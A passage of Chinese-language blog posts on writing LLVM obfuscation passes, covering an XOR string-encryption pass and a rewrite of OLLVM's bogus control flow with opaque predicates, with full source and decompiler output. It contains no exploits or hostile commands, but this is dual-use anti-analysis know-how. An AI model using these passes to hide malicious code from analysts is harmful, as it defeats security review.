  %13</span> = </span>call</span> i8*</span> @__decrypt</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>8</span> x </span>i8</span>], [</span>8</span> x </span>i8</span>]* </span>@.str.1</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  %14</span> = </span>call</span> i32</span> (</span>i8*</span>, ...) </span>@printf</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>8</span> x </span>i8</span>], [</span>8</span> x </span>i8</span>]* </span>@.str.1</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>), </span>i32</span> %12</span>)</span></span>
  %15</span> = </span>call</span> i8*</span> @__encrypt</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>8</span> x </span>i8</span>], [</span>8</span> x </span>i8</span>]* </span>@.str.1</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  br</span> label</span> %20</span></span>
</span>
; <label>:16:                                     ; preds = %0</span></span>
  %17</span> = </span>call</span> i8*</span> @__decrypt</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>7</span> x </span>i8</span>], [</span>7</span> x </span>i8</span>]* </span>@.str.2</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  %18</span> = </span>call</span> i32</span> (</span>i8*</span>, ...) </span>@printf</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>7</span> x </span>i8</span>], [</span>7</span> x </span>i8</span>]* </span>@.str.2</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  %19</span> = </span>call</span> i8*</span> @__encrypt</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>7</span> x </span>i8</span>], [</span>7</span> x </span>i8</span>]* </span>@.str.2</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  br</span> label</span> %20</span></span>
</span>
; <label>:20:                                     ; preds = %16, %10</span></span>
  ret</span> i32</span> 0</span></span>
}</span></span></code></pre>
在 IDA 中也可以看到混淆的效果。</p>
0</a></p>
完整代码</h2>
obfuscate.cpp</p>
//</span>===-- obfuscate/obfuscate.cpp - main file of obfuscate_string -*- C++ -*-===//</span></span>
//</span></span>
//</span> The main file of the obfusate_string pass.</span></span>
//</span> LLVM project is under the Apache License v2.0 with LLVM Exceptions.</span></span>
//</span> See https://llvm.org/LICENSE.txt for license information.</span></span>
//</span> SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception</span></span>
//</span></span>
//</span>===----------------------------------------------------------------------===//</span></span>
///</span></span>
///</span> \file</span></span>
///</span> This file contains the module pass class and decrypt function.</span></span>
///</span></span>
//</span>===----------------------------------------------------------------------===//</span></span>
#</span>include</span> "</span>llvm/ADT/SmallVector.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/Function.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/GlobalVariable.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/IRBuilder.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/InstrTypes.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/Instructions.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/LegacyPassManager.h</span>"</span></span>
#</span>include</span> "</span>llvm/Pass.h</span>"</span></span>
#</span>include</span> "</span>llvm/Support/FormatVariadic.h</span>"</span></span>
#</span>include</span> "</span>llvm/Support/raw_ostream.h</span>"</span></span>
#</span>include</span> "</span>llvm/Transforms/IPO/PassManagerBuilder.h</span>"</span></span>
#</span>include</span> <</span>map</span>></span></span>
#</span>include</span> <</span>vector</span>></span></span>
</span>
using</span> namespace</span> llvm</span>;</span></span>
</span>
namespace</span> {</span></span>
///</span> encrypt strings with xor.</span></span>
///</span> \param</span> s</span> input string for encrypt.</span></span>
void</span> encrypt</span>(</span>std</span>::</span>string</span> &</span>s</span>)</span> {</span></span>
  for</span> (</span>int</span> i </span>=</span> 0</span>;</span> i </span><</span> s</span>.</span>length</span>(</span>)</span> -</span> 1</span>;</span> i</span>++</span>)</span> {</span></span>
    s</span>[</span>i</span>]</span> ^=</span> 42</span>;</span></span>
  }</span></span>
}</span></span>
</span>
///</span> A pass for obfuscating const string in modules.</span></span>
struct</span> ObfuscatePass</span> :</span> public</span> ModulePass</span> {</span></span>
  static</span> char</span> ID</span>;</span></span>
  ObfuscatePass</span>(</span>)</span> :</span> ModulePass</span>(</span>ID</span>)</span> {</span>}</span></span>
</span>
  virtual</span> bool</span> runOnModule</span>(</span>Module</span> &</span>M</span>)</span> {</span></span>
    for</span> (</span>GlobalValue </span>&</span>GV </span>:</span> M</span>.</span>globals</span>(</span>)</span>)</span> {</span></span>
      GlobalVariable </span>*</span>GVar </span>=</span> dyn_cast</span><</span>GlobalVariable</span>></span>(</span>&</span>GV</span>)</span>;</span></span>
      if</span> (</span>GVar </span>==</span> nullptr</span>)</span> {</span></span>
        continue</span>;</span></span>
      }</span></span>
      std</span>::</span>vector</span><</span>std</span>::</span>pair</span><</span>Instruction </span>*</span>,</span> User </span>*</span>>></span> Target</span>;</span></span>
      bool</span> hasExceptCallInst </span>=</span> false</span>;</span></span>
      //</span> Find all user and encrypt const value, then insert decrypt function.</span></span>
      for</span> (</span>User </span>*</span>Usr </span>:</span> GVar</span>-></span>users</span>(</span>)</span>)</span> {</span></span>
        //</span> Get instruction.</span></span>
        Instruction </span>*</span>Inst </span>=</span> dyn_cast</span><</span>Instruction</span>></span>(</span>Usr</span>)</span>;</span></span>
        if</span> (</span>Inst </span>==</span> nullptr</span>)</span> {</span></span>
          //</span> If Usr is not an instruction, like i8* getelementptr...</span></span>
          //</span> Dig deeper to find Instruction.</span></span>
          for</span> (</span>User </span>*</span>DirecUsr </span>:</span> Usr</span>-></span>users</span>(</span>)</span>)</span> {</span></span>
            Inst </span>=</span> dyn_cast</span><</span>Instruction</span>></span>(</span>DirecUsr</span>)</span>;</span></span>
            if</span> (</span>Inst </span>==</span> nullptr</span>)</span> {</span></span>
              continue</span>;</span></span>
            }</span></span>
            if</span> (</span>!</span>isa</span><</span>CallInst</span>></span>(</span>Inst</span>)</span>)</span> {</span></span>
              hasExceptCallInst </span>=</span> true</span>;</span></span>
              Target</span>.</span>clear</span>(</span>)</span>;</span></span>
            }</span> else</span> {</span></span>
              Target</span>.</span>emplace_back</span>(</span>std</span>::</span>pair</span><</span>Instruction</span> *</span>,</span> User</span> *</span>></span>(</span>Inst</span>,</span> Usr</span>)</span>)</span>;</span></span>
            }</span></span>
          }</span></span>
        }</span></span>
      }</span></span>
      if</span> (</span>hasExceptCallInst </span>==</span> false</span> &&</span> Target</span>.</span>size</span>(</span>)</span> ==</span> 1</span>)</span> {</span></span>
        for</span> (</span>auto</span> &</span>T</span>:</span> Target</span>)</span> {</span></span>
          obfuscateString</span>(</span>M</span>,</span> T</span>.</span>first</span>,</span> T</span>.</span>second</span>,</span> GVar</span>)</span>;</span></span>
        }</span></span>
        //</span> Change constant to variable.</span></span>
        GVar</span>-></span>setConstant</span>(</span>false</span>)</span>;</span></span>
      }</span></span>
    }</span></span>
    return</span> true</span>;</span></span>
  }</span></span>
</span>
  ///</span> Obfuscate string and add decrypt function.</span></span>
  ///</span> \param</span> M</span> Module</span></span>
  ///</span> \param</span> Inst</span> Instruction</span></span>
  ///</span> \param</span> Usr</span> User of the </span>\p</span> GlobalVariable</span></span>
  ///</span> \param</span> GVar</span> The const string</span></span>
  void</span> obfuscateString</span>(</span>Module</span> &</span>M</span>,</span> Instruction</span> *</span>Inst</span>,</span> Value</span> *</span>Usr</span>,</span></span>
                       GlobalVariable</span> *</span>GVar</span>)</span> {</span></span>
    //</span> Encrypt origin string and replace it encrypted string.</span></span>
    ConstantDataArray </span>*</span>GVarArr </span>=</span></span>
        dyn_cast</span><</span>ConstantDataArray</span>></span>(</span>GVar</span>-></span>getInitializer</span>(</span>)</span>)</span>;</span></span>
    if</span> (</span>GVarArr </span>==</span> nullptr</span>)</span> {</span></span>
      return</span>;</span></span>
    }</span></span>
    std</span>::</span>string Origin</span>;</span></span>
    if</span> (</span>GVarArr</span>-></span>isString</span>(</span>8</span>)</span>)</span> {</span></span>
      Origin </span>=</span> GVarArr</span>-></span>getAsString</span>(</span>)</span>.</span>str</span>(</span>)</span>;</span></span>
    }</span> else</span> if</span> (</span>GVarArr</span>-></span>isCString</span>(</span>)</span>)</span> {</span></span>
      Origin </span>=</span> GVarArr</span>-></span>getAsCString</span>(</span>)</span>.</span>str</span>(</span>)</span>;</span></span>
    }</span></span>
    encrypt</span>(</span>Origin</span>)</span>;</span></span>
    Constant </span>*</span>NewConstStr </span>=</span> ConstantDataArray</span>::</span>getString</span>(</span></span>
        GVarArr</span>-></span>getContext</span>(</span>)</span>,</span> StringRef</span>(</span>Origin</span>)</span>,</span> false</span>)</span>;</span></span>
    GVarArr</span>-></span>replaceAllUsesWith</span>(</span>NewConstStr</span>)</span>;</span></span>
</span>
    //</span> Insert decrypt function above Inst with IRBuilder.</span></span>
    IRBuilder</span><</span>></span> builder</span>(</span>Inst</span>)</span>;</span></span>
    Type </span>*</span>Int8PtrTy </span>=</span> builder</span>.</span>getInt8PtrTy</span>(</span>)</span>;</span></span>
    //</span> Create decrypt function in GlobalValue / Get decrypt function.</span></span>
    SmallVector</span><</span>Type </span>*</span>,</span> 1</span>></span> FuncArgs </span>=</span> {</span>Int8PtrTy</span>}</span>;</span></span>
    FunctionType </span>*</span>FuncType </span>=</span> FunctionType</span>::</span>get</span>(</span>Int8PtrTy</span>,</span> FuncArgs</span>,</span> false</span>)</span>;</span></span>
    Constant </span>*</span>DecryptFunc </span>=</span> M</span>.</span>getOrInsertFunction</span>(</span>"</span>__decrypt</span>"</span>,</span> FuncType</span>)</span>;</span></span>
    //</span> Create call instrucions.</span></span>
    SmallVector</span><</span>Value </span>*</span>,</span> 1</span>></span> CallArgs </span>=</span> {</span>Usr</span>}</span>;</span></span>
    CallInst </span>*</span>DecryptInst </span>=</span> builder</span>.</span>CreateCall</span>(</span>FuncType</span>,</span> DecryptFunc</span>,</span> CallArgs</span>)</span>;</span></span>
    Constant </span>*</span>EncryptFunc </span>=</span> M</span>.</span>getOrInsertFunction</span>(</span>"</span>__encrypt</span>"</span>,</span> FuncType</span>)</span>;</span></span>
    CallInst </span>*</span>EncryptInst </span>=</span> CallInst</span>::</span>Create</span>(</span>FuncType</span>,</span> EncryptFunc</span>,</span> CallArgs</span>)</span>;</span></span>
    EncryptInst</span>-></span>insertAfter</span>(</span>Inst</span>)</span>;</span></span>
  }</span></span>
}</span>;</span></span>
}</span> //</span> namespace</span></span>
</span>
char</span> ObfuscatePass</span>::</span>ID </span>=</span> 0</span>;</span></span>
static</span> RegisterPass</span><</span>ObfuscatePass</span>></span> X</span>(</span>"</span>obfstr</span>"</span>,</span> "</span>obfuscate string</span>"</span>)</span>;</span></span></code></pre>
encrypt.c</p>
char</span> *</span>__decrypt</span>(</span>char</span> *</span>encStr</span>)</span> {</span></span>
  char</span> *</span>curr </span>=</span> encStr</span>;</span></span>
  while</span> (</span>*</span>curr</span>)</span> {</span></span>
    *</span>curr </span>^=</span> 42</span>;</span></span>
    curr</span>++</span>;</span></span>
  }</span></span>
  return</span> encStr</span>;</span></span>
}</span></span>
</span>
char</span> *</span>__encrypt</span>(</span>char</span> *</span>originStr</span>)</span> {</span></span>
  char</span> *</span>curr </span>=</span> originStr</span>;</span></span>
  while</span> (</span>*</span>curr</span>)</span> {</span></span>
    *</span>curr </span>^=</span> 42</span>;</span></span>
    curr</span>++</span>;</span></span>
  }</span></span>
  return</span> originStr</span>;</span></span>
}</span></span></code></pre>


重写 OLLVM 之虚假控制流
2020-01-01T00:00:00+00:00
由于我个人觉得 OLLVM 的代码年久失修，所以就新建了个项目，开始学习并重写 OLLVM。项目地址：https://github.com/chenx6/baby_obfuscator</a>。如果将我的重写项目和 OLLVM 相比的话，我的项目的优点就是编译比较快（编译整个项目只需要不到 1 分钟），代码比较“新”吧...</p>
下面讲讲我个人重写虚假控制流的思路，以及对其他项目中相同功能的理解。</p>
什么是虚假控制流 (Bogus control flow)</h2>
在讲解虚假控制流时，我们先解释一些名词，然后看下流程表示就可以知道大概了。</p>
名词解释</h3>
不透明谓词 (Opaque predicate)</h4>
这里引用知乎上大佬的回答：利用不透明谓词混淆代码的原理是什么？ - 张建涛的回答 - 知乎</a></p>

不透明谓词是指一个表达式，他的值在执行到某处时，对程序员而言必然是已知的，但是由于某种原因，编译器或者说静态分析器无法推断出这个值，只能在运行时确定。</p>
</blockquote>
中间表示 (IR)</h4>
在将代码转换成汇编和机器码之前的一种代码表示形式，可以理解为具有跨平台性和其他特性的汇编。</p>
虚假控制流的流程表示</h3>
用 OLLVM 项目中的注释部分就可以清晰表示出什么是虚假控制流。可以看到，相对于原程序中的单个代码块，混淆后的程序中加入了一个由不透明谓词组成的条件语句，由于混淆器知道他的值，所以可以保证被混淆程序的正确性，而编译器和反编译器都无法对这个表达式进行求值，只能保留此谓词，达到干扰静态分析的目的。</p>

下面这个图大部分项目都没修正啊...</p>
</blockquote>
 Before :</span></span>
                        entry</span></span>
                          |</span></span>
                    ______v______</span></span>
                   |   Original  |</span></span>
                   |_____________|</span></span>
                          |</span></span>
                          v</span></span>
                       return</span></span>
</span>
 After :</span></span>
                        entry</span></span>
                          |</span></span>
                      ____v_____</span></span>
                     |condition*| (false)</span></span>
                     |__________|----+</span></span>
                    (true)|          |</span></span>
                          |          |</span></span>
                    ______v______    |</span></span>
               +-->|   Original* |   |</span></span>
               |   |_____________| (true)</span></span>
               |   (false)|    !-----------> return</span></span>
               |    ______v______    |</span></span>
               |   |   Altered   |<--!</span></span>
               |   |_____________|</span></span>
               |__________|</span></span></code></pre>怎么实现</h2>
别的项目是怎么实现的</h3>
在 OLLVM 中，使用了 y > 10 || x * (x + 1) % 2 == 0</code> 这个不透明谓词，学过数学的都知道，x * (x + 1) % 2 == 0</code> 是个永真式。也就是说，混淆器已经知道了 y > 10 || x * (x + 1) % 2 == 0</code> 这个式子的值，所以可以将其放在条件语句中，控制代码的走向；而编译器和反编译器都认为这个表达式需要进行运行后才能求值，会保留这段代码，进而干扰到反编译器。</p>
在HikariObfuscator</a>这个项目中使用 IRBuilder 生成一箩筐的整数运算，由于 LLVM 的 IRBuilder 会折叠常量，混淆器就能知道了之前生成的一箩筐的整数运算的最终结果，而编译器和反编译器都不知道生成的表达式的值，所以就获得了一个崭新的不透明谓词。</p>
当然，上面的两个混淆都有较为简单的破解方法，就是将不透明谓词中的变量修改成常量，并且设置一个初始值，这时候 Hex-rays 等反编译器会对不透明谓词进行求值，如果不透明谓词的结果可知，那么这个表达式将会被优化。</p>
具体实现</h3>
这里用的是旧的 LLVM Pass 格式，所以 Pass 的主要逻辑都在 runOnFunction</code> 这个函数中。程序先收集函数中所有的 BasicBlock 和 alloca 指令，然后再随机挑选 BasicBlock 加上虚假控制流。这个 Pass 通过被选中的 BasicBlock 生成虚假的 BasicBlock，然后再使用不透明谓词将这两个 BasicBlock 粘在一起。</p>
  virtual</span> bool</span> runOnFunction</span>(</span>Function</span> &</span>F</span>)</span> {</span></span>
    //</span> Put origin BB into vector.</span></span>
    SmallVector</span><</span>BasicBlock </span>*</span>,</span> 0</span>></span> targetBasicBlocks</span>;</span></span>
    for</span> (</span>BasicBlock </span>&</span>BB </span>:</span> F</span>)</span> {</span></span>
      targetBasicBlocks</span>.</span>emplace_back</span>(</span>&</span>BB</span>)</span>;</span></span>
    }</span></span>
    //</span> Put "alloca i32 ..." instruction into allocaInsts for further use</span></span>
    findAllocInst</span>(</span>F</span>.</span>getEntryBlock</span>(</span>)</span>)</span>;</span></span>
    //</span> Add bogus control flow to some BB.</span></span>
    for</span> (</span>BasicBlock </span>*</span>BB </span>:</span> targetBasicBlocks</span>)</span> {</span></span>
      if</span> (</span>rng</span>(</span>)</span> %</span> 100</span> >=</span> ObfProbRate</span>)</span> {</span></span>
        continue</span>;</span></span>
      }</span></span>
      BasicBlock </span>*</span>bogusBB </span>=</span> geneBogusFlow</span>(</span>BB</span>,</span> &</span>F</span>)</span>;</span></span>
      addBogusFlow</span>(</span>BB</span>,</span> bogusBB</span>,</span> &</span>F</span>)</span>;</span></span>
    }</span></span>
    return</span> true</span>;</span></span>
  }</span></span></code></pre>
在虚假的 BasicBlock 生成中，先使用 CloneBasicBlock</code> 复制 BasicBlock。</p>
  ///</span> Generate Bogus BasicBlock</span></span>
  ///</span> \param</span> targetBB</span> template BasicBlock</span></span>
  ///</span> \param</span> F</span> function</span></span>
  BasicBlock</span> *</span>geneBogusFlow</span>(</span>BasicBlock</span> *</span>targetBB</span>,</span> Function</span> *</span>F</span>)</span> {</span></span>
    ValueToValueMapTy VMap</span>;</span></span>
    const</span> Twine </span>&</span>Name </span>=</span> "</span>bogusBlock</span>"</span>;</span></span>
    BasicBlock </span>*</span>bogusBB </span>=</span> CloneBasicBlock</span>(</span>targetBB</span>,</span> VMap</span>,</span> Name</span>,</span> F</span>)</span>;</span></span></code></pre>
然后再修复虚假的 BasicBlock，例如修复 phi 节点和编译时生成的 metadata。</p>
    //</span> Remap operands.</span></span>
    BasicBlock</span>::</span>iterator ji </span>=</span> targetBB</span>-></span>begin</span>(</span>)</span>;</span></span>
    for</span> (</span>Instruction </span>&</span>i </span>:</span> *</span>bogusBB</span>)</span> {</span></span>
      //</span> Loop over the operands of the instruction</span></span>
      for</span> (</span>Use </span>&</span>opi </span>:</span> i</span>.</span>operands</span>(</span>)</span>)</span> {</span></span>
        //</span> get the value for the operand</span></span>
        Value </span>*</span>v </span>=</span> MapValue</span>(</span>opi</span>,</span> VMap</span>,</span> RF_None</span>)</span>;</span></span>
        if</span> (</span>v </span>!=</span> nullptr</span>)</span> {</span></span>
          opi </span>=</span> v</span>;</span></span>
        }</span></span>
      }</span></span>
      //</span> Remap phi nodes' incoming blocks.</span></span>
      if</span> (</span>PHINode </span>*</span>pn </span>=</span> dyn_cast</span><</span>PHINode</span>></span>(</span>&</span>i</span>)</span>)</span> {</span></span>
        for</span> (</span>unsigned</span> int</span> j </span>=</span> 0</span>,</span> e </span>=</span> pn</span>-></span>getNumIncomingValues</span>(</span>)</span>;</span> j </span>!=</span> e</span>;</span> ++</span>j</span>)</span> {</span></span>
          Value </span>*</span>v </span>=</span> MapValue</span>(</span>pn</span>-></span>getIncomingBlock</span>(</span>j</span>)</span>,</span> VMap</span>,</span> RF_None</span>)</span>;</span></span>
          if</span> (</span>v </span>!=</span> nullptr</span>)</span> {</span></span>
            pn</span>-></span>setIncomingBlock</span>(</span>j</span>,</span> cast</span><</span>BasicBlock</span>></span>(</span>v</span>)</span>)</span>;</span></span>
          }</span></span>
        }</span></span>
      }</span></span>
      //</span> Remap attached metadata.</span></span>
      SmallVector</span><</span>std</span>::</span>pair</span><</span>unsigned</span>,</span> MDNode </span>*</span>></span>,</span> 4</span>></span> MDs</span>;</span></span>
      i</span>.</span>getAllMetadata</span>(</span>MDs</span>)</span>;</span></span>
      //</span> important for compiling with DWARF, using option -g.</span></span>
      i</span>.</span>setDebugLoc</span>(</span>ji</span>-></span>getDebugLoc</span>(</span>)</span>)</span>;</span></span>
      ji</span>++</span>;</span></span>
    }</span></span></code></pre>
最后是将虚假的 BasicBlock 中的操作数进行随机改变，以干扰静态分析。</p>
    //</span> Modify some instruction's Operands</span></span>
    for</span> (</span>Instruction </span>&</span>i </span>:</span> *</span>bogusBB</span>)</span> {</span></span>
      if</span> (</span>!</span>i</span>.</span>isBinaryOp</span>(</span>)</span>)</span> {</span></span>
        continue</span>;</span></span>
      }</span></span>
      unsigned</span> int</span> opcode </span>=</span> i</span>.</span>getOpcode</span>(</span>)</span>;</span></span>
      unsigned</span> int</span> numOperands </span>=</span> i</span>.</span>getNumOperands</span>(</span>)</span>;</span></span>
      if</span> (</span>find</span>(</span>integerOp</span>,</span> opcode</span>)</span> !=</span> integerOp</span>.</span>end</span>(</span>)</span>)</span> {</span></span>
        i</span>.</span>setOperand</span>(</span>0</span>,</span> i</span>.</span>getOperand</span>(</span>rng</span>(</span>)</span> %</span> numOperands</span>)</span>)</span>;</span></span>
      }</span> else</span> if</span> (</span>find</span>(</span>floatOp</span>,</span> opcode</span>)</span> !=</span> floatOp</span>.</span>end</span>(</span>)</span>)</span> {</span></span>
        i</span>.</span>setOperand</span>(</span>0</span>,</span> i</span>.</span>getOperand</span>(</span>rng</span>(</span>)</span> %</span> numOperands</span>)</span>)</span>;</span></span>
      }</span></span>
    }</span></span>
    return</span> bogusBB</span>;</span></span>
  }</span></span></code></pre>
接下来是将原本的 BasicBlock 和 虚假的 BasicBlock 用不透明谓词粘在一起。首先挑出本 Basicblock 中第一个不是 Phi、Dbg、Lifetime 的指令的地址，然后调用 splitBasicBlock 函数将一个 Basicblock 按照前面获得的地址一分为二。接下来将两个 BasicBlock 与父节点分离。</p>
  ///</span> Put target BasicBlock and Bogus Block together</span></span>
  void</span> addBogusFlow</span>(</span>BasicBlock</span> *</span>targetBB</span>,</span> BasicBlock</span> *</span>bogusBB</span>,</span> Function</span> *</span>F</span>)</span> {</span></span>
    //</span> Split the block</span></span>
    BasicBlock </span>*</span>targetBodyBB</span>;</span></span>
    if</span> (</span>targetBB</span>-></span>getFirstNonPHIOrDbgOrLifetime</span>(</span>)</span>)</span> {</span></span>
      targetBodyBB </span>=</span></span>
          targetBB</span>-></span>splitBasicBlock</span>(</span>targetBB</span>-></span>getFirstNonPHIOrDbgOrLifetime</span>(</span>)</span>)</span>;</span></span>
    }</span> else</span> {</span></span>
      targetBodyBB </span>=</span> targetBB</span>-></span>splitBasicBlock</span>(</span>targetBB</span>-></span>begin</span>(</span>)</span>)</span>;</span></span>
    }</span></span>
</span>
    //</span> Modify the terminators to adjust the control flow.</span></span>
    bogusBB</span>-></span>getTerminator</span>(</span>)</span>-></span>eraseFromParent</span>(</span>)</span>;</span></span>
    targetBB</span>-></span>getTerminator</span>(</span>)</span>-></span>eraseFromParent</span>(</span>)</span>;</span></span></code></pre>
最后通过 IRBuilder 创建不透明谓词 (x * (x + 1) % 2 == 0)</code>，将两个 BasicBlock 按照一定的逻辑相连（生成代码的逻辑则是在开头的 虚假控制流的流程表示）。这个不透明谓词的变量 x</code> 选择的是之前在 runOnFunction</code> 收集的 alloca 指令，即在高级语言中的各种变量，这样能更强的干扰反编译器（虽然还是可能被符号执行优化掉）。</p>
    //</span> Add opaque predicate</span></span>
    //</span> if (x * (x + 1) % 2 == 0)</span></span>
    IRBuilder</span><</span>></span> bogusCondBuilder</span>(</span>targetBB</span>)</span>;</span></span>
    Value </span>*</span>loadInst</span>;</span></span>
    if</span> (</span>allocaInsts</span>.</span>size</span>(</span>)</span> !=</span> 0</span>)</span> {</span></span>
      loadInst </span>=</span></span>
          bogusCondBuilder</span>.</span>CreateLoad</span>(</span>allocaInsts</span>[</span>rng</span>(</span>)</span> %</span> allocaInsts</span>.</span>size</span>(</span>)</span>]</span>)</span>;</span></span>
    }</span> else</span> {</span></span>
      loadInst </span>=</span> bogusCondBuilder</span>.</span>getInt32</span>(</span>1</span>)</span>;</span></span>
    }</span></span>
    Value </span>*</span>addInst </span>=</span></span>
        bogusCondBuilder</span>.</span>CreateAdd</span>(</span>loadInst</span>,</span> bogusCondBuilder</span>.</span>getInt32</span>(</span>1</span>)</span>)</span>;</span></span>
    Value </span>*</span>mulInst </span>=</span> bogusCondBuilder</span>.</span>CreateMul</span>(</span>loadInst</span>,</span> addInst</span>)</span>;</span></span>
    Value </span>*</span>remainInst </span>=</span></span>
        bogusCondBuilder</span>.</span>CreateSRem</span>(</span>mulInst</span>,</span> bogusCondBuilder</span>.</span>getInt32</span>(</span>2</span>)</span>)</span>;</span></span>
    Value </span>*</span>trueCond </span>=</span></span>
        bogusCondBuilder</span>.</span>CreateICmpEQ</span>(</span>remainInst</span>,</span> bogusCondBuilder</span>.</span>getInt32</span>(</span>0</span>)</span>)</span>;</span></span>
    bogusCondBuilder</span>.</span>CreateCondBr</span>(</span>trueCond</span>,</span> targetBodyBB</span>,</span> bogusBB</span>)</span>;</span></span>
    BranchInst</span>::</span>Create</span>(</span>targetBodyBB</span>,</span> bogusBB</span>)</span>;</span></span>
</span>
    //</span> Split at this point (we only want the terminator in the second part)</span></span>
    BasicBlock </span>*</span>targetBodyEndBB </span>=</span></span>
        targetBodyBB</span>-></span>splitBasicBlock</span>(</span>--</span>targetBodyBB</span>-></span>end</span>(</span>)</span>)</span>;</span></span>
    //</span> erase the terminator created when splitting.</span></span>
    targetBodyBB</span>-></span>getTerminator</span>(</span>)</span>-></span>eraseFromParent</span>(</span>)</span>;</span></span>
    //</span> We add at the end a new always true condition</span></span>
    IRBuilder</span><</span>></span> endCondBuilder</span>(</span>targetBodyBB</span>,</span> targetBodyBB</span>-</span>></span>end</span>(</span>)</span>)</span>;</span></span>
    Value </span>*</span>endCond </span>=</span></span>
        endCondBuilder</span>.</span>CreateICmpEQ</span>(</span>remainInst</span>,</span> bogusCondBuilder</span>.</span>getInt32</span>(</span>0</span>)</span>)</span>;</span></span>
    endCondBuilder</span>.</span>CreateCondBr</span>(</span>endCond</span>,</span> targetBodyEndBB</span>,</span> bogusBB</span>)</span>;</span></span>
  }</span></span></code></pre>
基本的代码就是上面所讲的了。相比与 OLLVM，重写的代码中省略了大部分虚假 BasicBlock 中的随机生成代码的部分，并改写了虚假谓词生成的逻辑，在 OLLVM 中，先是先生成了 (1.0 == 1.0) 来进行占位，然后再在后面替换前面的永真式，我个人觉得没必要，直接生成不透明谓词不就好了吗...所以代码看起来比较精简（在本文撰写时，带注释的代码行数为180行左右）。</p>
效果演示</h2>
原程序反编译结果，和原代码基本一样：</p>
int</span> __cdecl</span> main</span>(</span>int</span> argc</span>,</span> const</span> char</span> *</span>*</span>argv</span>,</span> const</span> char</span> *</span>*</span>envp</span>)</span></span>
{</span></span>
  int</span> j</span>;</span> //</span> [rsp+10h] [rbp-40h]</span></span>
  int</span> i</span>;</span> //</span> [rsp+14h] [rbp-3Ch]</span></span>
  unsigned</span> __int64 n</span>;</span> //</span> [rsp+18h] [rbp-38h]</span></span>
  char</span> s</span>[</span>32</span>]</span>;</span> //</span> [rsp+20h] [rbp-30h]</span></span>
  const</span> char</span> *</span>*</span>v8</span>;</span> //</span> [rsp+40h] [rbp-10h]</span></span>
  int</span> v9</span>;</span> //</span> [rsp+48h] [rbp-8h]</span></span>
  int</span> v10</span>;</span> //</span> [rsp+4Ch] [rbp-4h]</span></span>
</span>
  v10 </span>=</span> 0</span>;</span></span>
  v9 </span>=</span> argc</span>;</span></span>
  v8 </span>=</span> argv</span>;</span></span>
  __isoc99_scanf</span>(</span>"</span>%30s</span>"</span>,</span> s</span>,</span> envp</span>)</span>;</span></span>
  n </span>=</span> strlen</span>(</span>s</span>)</span>;</span></span>
  for</span> (</span> i </span>=</span> 0</span>;</span> i </span><</span> n</span>;</span> ++</span>i </span>)</span></span>
  {</span></span>
    s</span>[</span>i</span>]</span> ^=</span> 0x</span>2A</span>u</span>;</span></span>
    s</span>[</span>i</span>]</span> +=</span> 6</span>;</span></span>
  }</span></span>
  for</span> (</span> j </span>=</span> 1</span>;</span> j </span><</span> n</span>;</span> ++</span>j </span>)</span></span>
    s</span>[</span>j </span>-</span> 1</span>]</span> -=</span> s</span>[</span>j</span>]</span>;</span></span>
  if</span> (</span> !</span>strncmp</span>(</span>s</span>,</span> &</span>encrypt_data</span>,</span> n</span>)</span> )</span></span>
    printf</span>(</span>"</span>Correct!</span>"</span>)</span>;</span></span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>
程序混淆后反编译结果，可以看到混淆器成功的添加了不透明谓词，且程序可以正常运行：</p>
int</span> __cdecl</span> main</span>(</span>int</span> argc</span>,</span> const</span> char</span> *</span>*</span>argv</span>,</span> const</span> char</span> *</span>*</span>envp</span>)</span></span>
{</span></span>
  int</span> v4</span>;</span> //</span> [rsp+20h] [rbp-50h]</span></span>
  int</span> v5</span>;</span> //</span> [rsp+30h] [rbp-40h]</span></span>
  int</span> v6</span>;</span> //</span> [rsp+30h] [rbp-40h]</span></span>
  int</span> v7</span>;</span> //</span> [rsp+34h] [rbp-3Ch]</span></span>
  unsigned</span> __int64 n</span>;</span> //</span> [rsp+38h] [rbp-38h]</span></span>
  char</span> s</span>[</span>32</span>]</span>;</span> //</span> [rsp+40h] [rbp-30h]</span></span>
  const</span> char</span> *</span>*</span>v10</span>;</span> //</span> [rsp+60h] [rbp-10h]</span></span>
  int</span> v11</span>;</span> //</span> [rsp+68h] [rbp-8h]</span></span>
  int</span> v12</span>;</span> //</span> [rsp+6Ch] [rbp-4h]</span></span>
</span>
  v12 </span>=</span> 0</span>;</span></span>
  v11 </span>=</span> argc</span>;</span></span>
  v10 </span>=</span> argv</span>;</span></span>
  __isoc99_scanf</span>(</span>"</span>%30s</span>"</span>,</span> s</span>,</span> envp</span>)</span>;</span></span>
  n </span>=</span> strlen</span>(</span>s</span>)</span>;</span></span>
  v7 </span>=</span> 0</span>;</span></span>
  while</span> (</span> 1</span> )</span></span>
  {</span></span>
    while</span> (</span> (</span>v5 </span>+</span> 1</span>)</span> *</span> v5 </span>%</span> 2</span> )</span></span>
      ;</span></span>
    if</span> (</span> v7 </span>>=</span> n </span>)</span></span>
      break</span>;</span></span>
    v4 </span>=</span> (</span>v11 </span>+</span> 1</span>)</span> *</span> v11 </span>%</span> 2</span>;</span></span>
    if</span> (</span> v4 </span>)</span></span>
      goto</span> LABEL_20</span>;</span></span>
    while</span> (</span> 1</span> )</span></span>
    {</span></span>
      s</span>[</span>v7</span>]</span> ^=</span> 0x</span>2A</span>u</span>;</span></span>
      s</span>[</span>v7</span>]</span> +=</span> 6</span>;</span></span>
      if</span> (</span> !</span>v4 </span>)</span></span>
        break</span>;</span></span>
